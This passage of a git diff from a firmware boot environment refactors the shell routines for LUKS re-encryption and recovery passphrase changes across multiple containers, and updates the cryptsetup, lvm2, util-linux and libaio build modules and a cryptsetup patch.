"$luks_current_Disk_Recovery_Key_passphrase" >/tmp/luks_current_Disk_Recovery_Key_passphrase - warn "Testing opening "$LUKS" LUKS encrypted drive content with the current LUKS Disk Recovery Key passphrase..." - cryptsetup open $LUKS test --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase else echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/luks_current_Disk_Recovery_Key_passphrase - warn "Testing opening "$LUKS" LUKS encrypted drive content with the current LUKS Disk Recovery Key passphrase..." - cryptsetup open $LUKS test --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase fi - #Validate past cryptsetup-reencrypt attempts - if [ $? -eq 0 ]; then - whiptail --title 'Invalid Actual LUKS Disk Recovery Key passphrase?' --msgbox \ - "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 30 60 - shred -n 10 -z -u /tmp/luks_current_Disk_Recovery_Key_passphrase 2>/dev/null - #unsetting luks_current_Disk_Recovery_Key_passphrase so we prompt for it again LUKS Disk Recovery Key passphrase prompt on next round - unset luks_current_Disk_Recovery_Key_passphrase - #remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. - #maybe the container was not the right one - detect_boot_device - mount -o remount,rw /boot - rm -f /boot/kexec_key_devices.txt - mount -o remount,ro /boot - else - #LuksOpen test was successful. Cleanup should be called only when done - #Exporting successfully used passphrase possibly reused by oem-factory-reset - #We close the volume - cryptsetup close test - export luks_current_Disk_Recovery_Key_passphrase + # test all LUKS containers on same block device as returned by select_luks_container + echo -e "\n$PRINTABLE_LUKS: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." + + # Loop on all LUKS containers on same block device + for luks_container in $LUKS; do + DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." + DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase + # Validate past cryptsetup reencrypt attempts + if [ $? -ne 0 ]; then + # if we have more than one LUKS container and passphrase test unsuccessful, tell user how to change passphrase + if [ $(echo $LUKS | wc -w) -gt 1 ]; then + #TODO remove this once whiptail_error whiptail_warning can take titles with double quotes + #whiptail_warning --title 'tes' --msgbox 'test' 0 80 + #whiptail_error --title 'error' --msgbox 'error' 0 80 + #Neither work today. Not related to this PR... Using whiptail without coloring. + + msg=$(echo -e "All $PRINTABLE_LUKS must unlock with the same Disk Recovery Key passphrase for the current operation to succeed.\n\nTo change individual LUKS container passphrase, do so from 'Options-> Change LUKS Disk Recovery Key passphrase'\n\nThen retry this operation." | fold -w 70 -s) + whiptail --title "$luks_container"': Wrong current LUKS Disk Recovery Key passphrase?' \ + --msgbox "$msg" 0 80 + + TRACE_FUNC + luks_secrets_cleanup + die "$PRINTABLE_LUKS individual containers NEED to share the same Disk Recovery Key passphrase" + # We exited to caller, LUKS still set. TODO: problem? Should we call all cleaning functions on die? + fi + + whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 + TRACE_FUNC + + detect_boot_device + mount -o remount,rw /boot + rm -f /boot/kexec_key_devices.txt + mount -o remount,ro /boot + luks_secrets_cleanup + # remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. + # maybe the container was not the right one + unset LUKS + else + # LuksOpen test was successful. Cleanup should be called only when done + # Exporting successfully used passphrase possibly reused by oem-factory-reset + echo "$luks_container: unlocking LUKS container with current Disk Recovery Key passphrase successful" + + # Exporting successfully used passphrase possibly reused by oem-factory-reset + export luks_current_Disk_Recovery_Key_passphrase + fi + done + + # exit while loop if LUKS variable is not empty + if [ -n "$LUKS" ]; then + # We export the LUKS volume(s) that was/were validated via passphrase test + export LUKS + TRACE_FUNC + DEBUG "$LUKS exported to be reused" break; fi done @@ -337,12 +389,16 @@ test_luks_current_disk_recovery_key_passphrase() luks_reencrypt() { TRACE_FUNC - while :; do - select_luks_container || return 1 - #If the user just set a new LUKS Disk Recovery Key passphrase - if [ -n "$luks_new_Disk_Recovery_Key_passphrase" ]; then - luks_current_Disk_Recovery_Key_passphrase="$luks_new_Disk_Recovery_Key_passphrase" - fi + #TODO: REFACTOR This and luks passphrase change function needs to loop on same drive discovered luks containers so that reencrypt/passwd change is done on all luks containers of same drive + # Ideal would be to list luks devices and then try keep and append LUKS devices to a list of devices to reencrypt or change passphrase + # then loop on that list of devices that could be opened and reencrypt/change passphrase for all the devices that could be tested opened with that passphrase + select_luks_container || return 1 + + # Count the number of containers to be reencrypted + num_containers=$(echo "$LUKS" | wc -w) + reencrypted_containers=0 + + while [ $reencrypted_containers -lt $num_containers ]; do if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then #if no external provisioning provides current LUKS Disk Recovery Key passphrase msg=$(echo -e "This will replace the encrypted container content and its LUKS Disk Recovery Key.\n\nThe passphrase associated with this key will be asked from the user under the following conditions:\n 1-Every boot if no Disk Unlock Key was added to the TPM\n 2-If the TPM fails (hardware failure)\n 3-If the firmware has been tampered with/modified by the user\n\nThis process requires you to type the current LUKS Disk Recovery Key passphrase and will delete the LUKS TPM Disk Unlock Key slot, if set up, by setting a default boot LUKS key slot (1) if present.\n\nAt the next prompt, you may be asked to select which file corresponds to the LUKS device container.\n\nHit Enter to continue." | fold -w 70 -s) @@ -351,97 +407,185 @@ luks_reencrypt() { echo -e "\nEnter the current LUKS Disk Recovery Key passphrase:" read -r luks_current_Disk_Recovery_Key_passphrase echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/luks_current_Disk_Recovery_Key_passphrase - warn "Reencrypting "$LUKS" LUKS encrypted drive content with a new LUKS Disk Recovery Key. Do NOT shut down or reboot!" - cryptsetup-reencrypt -B 64 --use-directio "$LUKS" --key-slot 0 --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase else echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/luks_current_Disk_Recovery_Key_passphrase - warn "Reencrypting "$LUKS" LUKS encrypted drive content with a new LUKS Disk Recovery Key. Do NOT shut down or reboot!" - cryptsetup-reencrypt -B 64 --use-directio "$LUKS" --key-slot 0 --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase fi - #Validate past cryptsetup-reencrypt attempts - if [ $(echo $?) -ne 0 ]; then - whiptail --title 'Invalid Actual LUKS Disk Recovery Key passphrase?' --msgbox \ - "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 30 60 - shred -n 10 -z -u /tmp/luks_current_Disk_Recovery_Key_passphrase 2>/dev/null - #unsetting luks_current_Disk_Recovery_Key_passphrase so we prompt for it again LUKS Disk Recovery Key passphrase prompt on next round - unset luks_current_Disk_Recovery_Key_passphrase - #remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. - #maybe the container was not the right one - detect_boot_device - mount -o remount,rw /boot - rm -f /boot/kexec_key_devices.txt - mount -o remount,ro /boot - else - #Reencryption was successful. Cleanup should be called only when done - #Exporting successfully used passphrase possibly reused by oem-factory-reset - export luks_current_Disk_Recovery_Key_passphrase - break; - fi - done -} -luks_change_passphrase() -{ - TRACE_FUNC - while :; do - select_luks_container || return 1 - #if actual or new LUKS Disk Recovery Key is not provisioned by oem-provisioning file - if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ] || [ -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then - whiptail --title 'Changing LUKS Disk Recovery Key passphrase' --msgbox \ - "Please enter the current LUKS Disk Recovery Key passphrase (slot 0).\nThen choose a strong passphrase of your own.\n\n**DICEWARE passphrase methodology is STRONGLY ADVISED.**\n\nHit Enter to continue" 30 60 - if [ -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then - echo -e "\nEnter your desired replacement for the actual LUKS Disk Recovery Key passphrase (At least 8 characters long):" - while [[ ${#luks_new_Disk_Recovery_Key_passphrase} -lt 8 ]]; do - { - read -r luks_new_Disk_Recovery_Key_passphrase - };done + # Split the $LUKS variable into an array of LUKS containers + luks_containers=($LUKS) + TRACE_FUNC + DEBUG "luks_containers: $luks_containers" + + # Loop through each LUKS container + for luks_container in "${luks_containers[@]}"; do + DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." + if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then + whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 + # Remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. + # Maybe the container was not the right one + TRACE_FUNC + detect_boot_device + mount -o remount,rw /boot + rm -f /boot/kexec_key_devices.txt + mount -o remount,ro /boot + luks_secrets_cleanup + unset LUKS + continue fi - if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then - echo -e "\nEnter the current LUKS Disk Recovery Key passphrase (Configured at OS installation or by OEM):" - read -r luks_current_Disk_Recovery_Key_passphrase + done + + DEBUG "Test opening ${luks_containers[@]} successful. Now testing key slots to determine which holds master key" + for luks_container in "${luks_containers[@]}"; do + # First obtain which luks1/luks2 key-slot can be unlocked with the key-file + DRK_KEYSLOT=-1 + DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." + for i in $(seq 0 31); do + if DO_WITH_DEBUG cryptsetup open --test-passphrase $luks_container --key-slot $i --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then + DRK_KEYSLOT=$i + DEBUG "$luks_container: Found key-slot $DRK_KEYSLOT that can be unlocked with the current passphrase. breaking loop" + break + fi + done + + # Validate if a key slot was found + if [ $DRK_KEYSLOT -eq -1 ]; then + whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 + # Remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. + # Maybe the container was not the right one + TRACE_FUNC + detect_boot_device + mount -o remount,rw /boot + rm -f /boot/kexec_key_devices.txt + mount -o remount,ro /boot + luks_secrets_cleanup + unset LUKS + continue fi - export luks_current_Disk_Recovery_Key_passphrase - export luks_new_Disk_Recovery_Key_passphrase - echo -n "$luks_new_Disk_Recovery_Key_passphrase" >/tmp/luks_new_Disk_Recovery_Key_passphrase - echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/luks_current_Disk_Recovery_Key_passphrase - warn "Changing "$LUKS" LUKS encrypted disk passphrase to the new LUKS Disk Recovery Key passphrase..." - cryptsetup luksChangeKey "$LUKS" --key-slot 0 --key-file=/tmp/luks_current_Disk_Recovery_Key_passphrase /tmp/luks_new_Disk_Recovery_Key_passphrase - else - #If current and new LUKS Disk Recovery Key were exported - echo -n "$luks_new_Disk_Recovery_Key_passphrase" >/tmp/luks_new_Disk_Recovery_Key_passphrase - echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/luks_current_Disk_Recovery_Key_passphrase - warn "Changing "$LUKS" LUKS encrypted disk passphrase to the new LUKS Disk Recovery Key passphrase..." - cryptsetup luksChangeKey "$LUKS" --key-slot 0 --key-file=/tmp/luks_current_Disk_Recovery_Key_passphrase /tmp/luks_new_Disk_Recovery_Key_passphrase - fi - #Validate past cryptsetup attempts - if [ $(echo $?) -ne 0 ]; then - #Cryptsetup luksChangeKey was unsuccessful - whiptail --title 'Invalid LUKS passphrase?' --msgbox \ - "The LUKS Disk Recovery Key passphrase was provided to you by the OEM over\n a secure communication channel.\n\nIf you previously changed it and do not remember it,\n you will have to reinstall the OS from a USB drive.\nTo do so, put OS ISO file and it's signature file on root of a USB drive,\n and select Boot from USB\n\nHit Enter to continue." 30 60 - unset luks_current_Disk_Recovery_Key_passphrase - unset luks_new_Disk_Recovery_Key_passphrase - #remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. - #maybe the container was not the right one - detect_boot_device - mount -o remount,rw /boot - rm -f /boot/kexec_key_devices.txt - mount -o remount,ro /boot - else - #Cryptsetup was successful. - #Cleanup should be called seperately. - #Exporting successfully used passphrase possibly reused by oem-factory-reset - export luks_new_Disk_Recovery_Key_passphrase - break; - fi + # Now reencrypt the LUKS container with the same key slot + # Warn and launch actual reencryption + echo -e "\nReencrypting $luks_container LUKS encrypted drive content with current Recovery Disk Key passphrase..." + warn "DO NOT POWER DOWN MACHINE, UNPLUG AC OR REMOVE BATTERY DURING REENCRYPTION PROCESS" + + # --perf-no_read_workqueue and/or --perf-no_write_workqueue improve encryption/reencrypton performance on kernel 5.10.9+ + # bypassing dm-crypt queues. + # Ref https://github.com/cloudflare/linux/issues/1#issuecomment-729695518 + # --resilience=none disables the resilience feature of cryptsetup, which is enabled by default + # --force-offline-reencrypt forces the reencryption to be done offline (no read/write operations on the device) + # --disable-locks disables the lock feature of cryptsetup, which is enabled by default + + if ! DO_WITH_DEBUG cryptsetup reencrypt \ + --perf-no_read_workqueue --perf-no_write_workqueue \ + --resilience=none --force-offline-reencrypt --disable-locks \ + "$luks_container" --key-slot "$DRK_KEYSLOT" \ + --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase; then + whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 + + TRACE_FUNC + + #remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. + #maybe the container was not the right one + detect_boot_device + mount -o remount,rw /boot + rm -f /boot/kexec_key_devices.txt + mount -o remount,ro /boot + luks_secrets_cleanup + unset LUKS + else + #Reencryption was successful. Cleanup should be called only when done + #Exporting successfully used passphrase possibly reused by oem-factory-reset + export luks_current_Disk_Recovery_Key_passphrase + export LUKS + + # Increment the count of reencrypted containers + reencrypted_containers=$((reencrypted_containers + 1)) + fi + done done } +luks_change_passphrase() { + TRACE_FUNC + + select_luks_container || return 1 + + # Count the number of containers to be processed + num_containers=$(echo "$LUKS" | wc -w) + changed_containers=0 + + # Split the $LUKS variable into an array of LUKS containers + IFS=' ' read -ra luks_containers <<< "$LUKS" + + for luks_container in "${luks_containers[@]}"; do + if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ] || [ -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then + whiptail --title 'Changing LUKS Disk Recovery Key passphrase' --msgbox \ + "Please enter the current LUKS Disk Recovery Key passphrase (slot 0).\nThen choose a strong passphrase of your own.\n\n**DICEWARE passphrase methodology is STRONGLY ADVISED.**\n\nHit Enter to continue" 0 80 + + if [ -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then + echo -e "\nEnter your desired replacement for the actual LUKS Disk Recovery Key passphrase (At least 8 characters long):" + while [[ ${#luks_new_Disk_Recovery_Key_passphrase} -lt 8 ]]; do + read -r luks_new_Disk_Recovery_Key_passphrase + done + fi + + if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then + echo -e "\nEnter the current LUKS Disk Recovery Key passphrase (Configured at OS installation or by OEM):" + read -r luks_current_Disk_Recovery_Key_passphrase + fi + fi + + echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/luks_current_Disk_Recovery_Key_passphrase + echo -n "$luks_new_Disk_Recovery_Key_passphrase" > /tmp/luks_new_Disk_Recovery_Key_passphrase + + DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." + if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then + whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + "If you previously changed it and do not remember it, you will have to\n reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 + TRACE_FUNC + detect_boot_device + mount -o remount,rw /boot + rm -f /boot/kexec_key_devices.txt + mount -o remount,ro /boot + luks_secrets_cleanup + unset LUKS + continue + fi + + echo -e "\nChanging $luks_container LUKS encrypted disk passphrase to the new LUKS Disk Recovery Key passphrase..." + if ! DO_WITH_DEBUG cryptsetup luksChangeKey "$luks_container" --key-file=/tmp/luks_current_Disk_Recovery_Key_passphrase /tmp/luks_new_Disk_Recovery_Key_passphrase; then + whiptail --title 'Failed to change LUKS passphrase' --msgbox \ + "Failed to change the passphrase for $luks_container.\nPlease try again." 0 80 + continue + fi + + echo "Success changing passphrase for $luks_container." + changed_containers=$((changed_containers + 1)) + done + + if [ $changed_containers -eq $num_containers ]; then + # All containers processed successfully + luks_current_Disk_Recovery_Key_passphrase=$luks_new_Disk_Recovery_Key_passphrase + export luks_current_Disk_Recovery_Key_passphrase + export luks_new_Disk_Recovery_Key_passphrase + export LUKS + fi +} + luks_secrets_cleanup() { + TRACE_FUNC + #Cleanup shred -n 10 -z -u /tmp/luks_new_Disk_Recovery_Key_passphrase 2>/dev/null || true shred -n 10 -z -u /tmp/luks_current_Disk_Recovery_Key_passphrase 2>/dev/null || true + + #Unset variables (when in same boot) unset luks_current_Disk_Recovery_Key_passphrase unset luks_new_Disk_Recovery_Key_passphrase + + #TODO: refactor logic of selec_luks_conatainer, where to put + #unset LUKS } diff --git a/initrd/init b/initrd/init index 55a894a79..847f9e2a9 100755 --- a/initrd/init +++ b/initrd/init @@ -103,10 +103,12 @@ fi #Specify whiptail background colors cues under FBWhiptail only if [ -x /bin/fbwhiptail ]; then + DEBUG "fbwhiptail BG_COLOR_* exported" export BG_COLOR_WARNING="${CONFIG_WARNING_BG_COLOR:-"--background-gradient 0 0 0 150 125 0"}" export BG_COLOR_ERROR="${CONFIG_ERROR_BG_COLOR:-"--background-gradient 0 0 0 150 0 0"}" export BG_COLOR_MAIN_MENU="normal" else + DEBUG "whiptail TEXT_BG_COLOR_* exported" export TEXT_BG_COLOR_WARNING="${CONFIG_WARNING_TEXT_BG_COLOR:-"yellow"}" export TEXT_BG_COLOR_ERROR="${CONFIG_ERROR_TEXT_BG_COLOR:-"red"}" export BG_COLOR_MAIN_MENU="normal" diff --git a/modules/cryptsetup2 b/modules/cryptsetup2 index 6becf6db8..ff98639b6 100644 --- a/modules/cryptsetup2 +++ b/modules/cryptsetup2 @@ -2,11 +2,11 @@ modules-$(CONFIG_CRYPTSETUP2) += cryptsetup2 cryptsetup2_depends := util-linux popt lvm2 json-c $(musl_dep) -cryptsetup2_version := 2.3.3 +cryptsetup2_version := 2.6.1 cryptsetup2_dir := cryptsetup-$(cryptsetup2_version) cryptsetup2_tar := cryptsetup-$(cryptsetup2_version).tar.xz -cryptsetup2_url := https://www.kernel.org/pub/linux/utils/cryptsetup/v2.3/cryptsetup-$(cryptsetup2_version).tar.xz -cryptsetup2_hash := 3bca4ffe39e2f94cef50f6ea65acb873a6dbce5db34fc6bcefe38b6d095e82df +cryptsetup2_url := https://www.kernel.org/pub/linux/utils/cryptsetup/v2.6/cryptsetup-$(cryptsetup2_version).tar.xz +cryptsetup2_hash := 410ded65a1072ab9c8e41added37b9729c087fef4d2db02bb4ef529ad6da4693 # Use an empty prefix so that the executables will not include the # build path. @@ -16,9 +16,15 @@ cryptsetup2_configure := \ ./configure \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ - --disable-gcrypt-pbkdf2 \ + --enable-internal-sse-argon2 \ --disable-rpath \ - --enable-cryptsetup-reencrypt \ + --disable-gcrypt-pbkdf2 \ + --disable-ssh-token \ + --disable-asciidoc \ + --disable-nls \ + --disable-selinux \ + --disable-udev \ + --disable-external-tokens \ --with-crypto_backend=kernel \ --with-tmpfilesdir=$(INSTALL)/lib/tmpfiles.d @@ -33,7 +39,6 @@ cryptsetup2_target := \ cryptsetup2_output := \ .libs/cryptsetup \ - .libs/cryptsetup-reencrypt \ .libs/veritysetup \ cryptsetup2_libraries := \ diff --git a/modules/libaio b/modules/libaio new file mode 100644 index 000000000..bf83fb90a --- /dev/null +++ b/modules/libaio @@ -0,0 +1,19 @@ +modules-$(CONFIG_LVM2) += libaio + +libaio_version := 0.3.113 +libaio_dir := libaio-$(libaio_version) +libaio_tar := libaio_$(libaio_version).orig.tar.gz +libaio_url := https://deb.debian.org/debian/pool/main/liba/libaio/$(libaio_tar) +libaio_hash := 2c44d1c5fd0d43752287c9ae1eb9c023f04ef848ea8d4aafa46e9aedb678200b + +libaio_target := \ + DESTDIR="$(INSTALL)" \ + prefix="/" \ + $(CROSS_TOOLS) \ + install \ + && mv $(build)/$(libaio_dir)/src/libaio.so.1.0.2 $(build)/$(libaio_dir)/src/libaio.so.1 \ + +libaio_libraries:= src/libaio.so.1 + +libaio_depends := $(musl_dep) + diff --git a/modules/lvm2 b/modules/lvm2 index e51292d6d..6df76284e 100644 --- a/modules/lvm2 +++ b/modules/lvm2 @@ -1,37 +1,39 @@ modules-$(CONFIG_LVM2) += lvm2 -lvm2_version := 2.02.168 +lvm2_version := 2.03.23 lvm2_dir := lvm2.$(lvm2_version) lvm2_tar := LVM2.$(lvm2_version).tgz lvm2_url := https://mirrors.kernel.org/sourceware/lvm2/$(lvm2_tar) -lvm2_hash := 23a3d1cddd41b3ef51812ebf83e9fa491f502fe74130d4263be327a91914660d +lvm2_hash := 74e794a9e9dee1bcf8a2065f65b9196c44fdf321e22d63b98ed7de8c9aa17a5d # cross compiling test assumes malloc/realloc aren't glibc compat # so we force it via the configure cache. lvm2_configure := \ $(CROSS_TOOLS) \ - CFLAGS="-Os" \ - PKG_CONFIG=/bin/false \ - MODPROBE_CMD=/bin/false \ ac_cv_func_malloc_0_nonnull=yes \ ac_cv_func_realloc_0_nonnull=yes \ ./configure \ --host $(MUSL_ARCH)-elf-linux \ - --prefix "/" \ - --disable-blkid_wiping \ - --disable-cache_check_needs_check \ - --disable-cmirrord \ + --prefix "" \ + --libexecdir "/bin" \ + --with-optimisation=-Os \ + --enable-devmapper \ + --disable-selinux \ + --without-systemd \ + --disable-lvmimportvdo \ + --disable-realtime \ + --disable-dmfilemapd \ --disable-dmeventd \ - --disable-lvmetad \ --disable-lvmpolld \ - --disable-realtime \ - --disable-selinux \ - --disable-thin_check_needs_check \ - --disable-udev-systemd-background-jobs \ - --disable-use-lvmetad \ + --disable-readline \ + --disable-udev_sync \ + --enable-static_link \ --disable-use-lvmlockd \ --disable-use-lvmpolld \ - --enable-devmapper \ + --disable-dmfilemapd \ + --disable-cmirrord \ + --disable-cache_check_needs_check \ + --disable-thin_check_needs_check \ --with-cluster=none \ --with-thin-check= \ @@ -49,10 +51,10 @@ lvm2_target := \ DESTDIR="$(INSTALL)" \ install_device-mapper \ -lvm2_libraries := libdm/libdevmapper.so.1.02 +lvm2_libraries := libdm/ioctl/libdevmapper.so.1.02 lvm2_output := \ - tools/dmsetup \ + ./libdm/dm-tools/dmsetup \ tools/lvm \ -lvm2_depends := util-linux $(musl_dep) +lvm2_depends := util-linux libaio $(musl_dep) diff --git a/modules/util-linux b/modules/util-linux index 9ab8dae55..bb359d74d 100644 --- a/modules/util-linux +++ b/modules/util-linux @@ -1,10 +1,10 @@ modules-$(CONFIG_UTIL_LINUX) += util-linux -util-linux_version := 2.29.2 +util-linux_version := 2.39 util-linux_dir := util-linux-$(util-linux_version) util-linux_tar := util-linux-$(util-linux_version).tar.xz -util-linux_url := https://www.kernel.org/pub/linux/utils/util-linux/v2.29/$(util-linux_tar) -util-linux_hash := accea4d678209f97f634f40a93b7e9fcad5915d1f4749f6c47bee6bf110fe8e3 +util-linux_url := https://www.kernel.org/pub/linux/utils/util-linux/v2.39/$(util-linux_tar) +util-linux_hash := 32b30a336cda903182ed61feb3e9b908b762a5e66fe14e43efb88d37162075cb util-linux_configure := \ $(CROSS_TOOLS) \ diff --git a/patches/cryptsetup2-2.3.3.patch b/patches/cryptsetup2-2.6.1.patch similarity index 72% rename from patches/cryptsetup2-2.3.3.patch rename to patches/cryptsetup2-2.6.1.patch index 8a673ef86..036aa007a 100644 --- a/patches/cryptsetup2-2.3.3.patch +++ b/patches/cryptsetup2-2.6.1.patch @@ -1,7 +1,7 @@ -diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure ---- cryptsetup-2.3.3-clean/configure 2020-06-10 14:05:45.784925972 +0200 -+++ cryptsetup-2.3.3/configure 2020-06-10 14:12:03.811651237 +0200 -@@ -10206,7 +10206,7 @@ +diff -u -r cryptsetup-2.4.3-clean/configure cryptsetup-2.4.3/configure +--- cryptsetup-2.4.3-clean/configure 2022-01-13 17:24:34.000000000 +0800 ++++ cryptsetup-2.4.3/configure 2022-01-16 14:08:37.088258763 +0800 +@@ -11056,7 +11056,7 @@ hardcode_automatic=no hardcode_direct=no hardcode_direct_absolute=no @@ -10,7 +10,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_libdir_separator= hardcode_minus_L=no hardcode_shlibpath_var=unsupported -@@ -10290,7 +10290,7 @@ +@@ -11140,7 +11140,7 @@ # are reset later if shared libraries are not supported. Putting them # here allows them to be overridden if necessary. runpath_var=LD_RUN_PATH @@ -19,7 +19,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure export_dynamic_flag_spec='$wl--export-dynamic' # ancient GNU ld didn't support --whole-archive et. al. if $LD --help 2>&1 | $GREP 'no-whole-archive' > /dev/null; then -@@ -10336,7 +10336,7 @@ +@@ -11186,7 +11186,7 @@ ;; m68k) archive_cmds='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' @@ -28,7 +28,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_minus_L=yes ;; esac -@@ -10356,7 +10356,7 @@ +@@ -11206,7 +11206,7 @@ cygwin* | mingw* | pw32* | cegcc*) # _LT_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaningless, # as there is no search path for DLLs. @@ -37,7 +37,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure export_dynamic_flag_spec='$wl--export-all-symbols' allow_undefined_flag=unsupported always_export_symbols=no -@@ -10386,7 +10386,7 @@ +@@ -11236,7 +11236,7 @@ ;; os2*) @@ -46,7 +46,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_minus_L=yes allow_undefined_flag=unsupported shrext_cmds=.dll -@@ -10416,7 +10416,7 @@ +@@ -11266,7 +11266,7 @@ interix[3-9]*) hardcode_direct=no hardcode_shlibpath_var=no @@ -55,7 +55,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure export_dynamic_flag_spec='$wl-E' # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc. # Instead, shared libraries are loaded at an image base (0x10000000 by -@@ -10492,7 +10492,7 @@ +@@ -11342,7 +11342,7 @@ xlf* | bgf* | bgxlf* | mpixlf*) # IBM XL Fortran 10.1 on PPC cannot create shared libs itself whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive' @@ -64,7 +64,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib' if test yes = "$supports_anon_versioning"; then archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~ -@@ -10559,7 +10559,7 @@ +@@ -11409,7 +11409,7 @@ # DT_RUNPATH tag from executables and libraries. But doing so # requires that you compile everything twice, which is a pain. if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then @@ -73,7 +73,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' else -@@ -10588,7 +10588,7 @@ +@@ -11438,7 +11438,7 @@ if test no = "$ld_shlibs"; then runpath_var= @@ -82,7 +82,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure export_dynamic_flag_spec= whole_archive_flag_spec= fi -@@ -10706,7 +10706,7 @@ +@@ -11556,7 +11556,7 @@ # path is not listed in the libpath. Setting hardcode_minus_L # to unsupported forces relinking hardcode_minus_L=yes @@ -91,7 +91,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_libdir_separator= fi ;; -@@ -10790,11 +10790,11 @@ +@@ -11642,11 +11642,11 @@ aix_libpath=$lt_cv_aix_libpath_ fi @@ -105,7 +105,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure 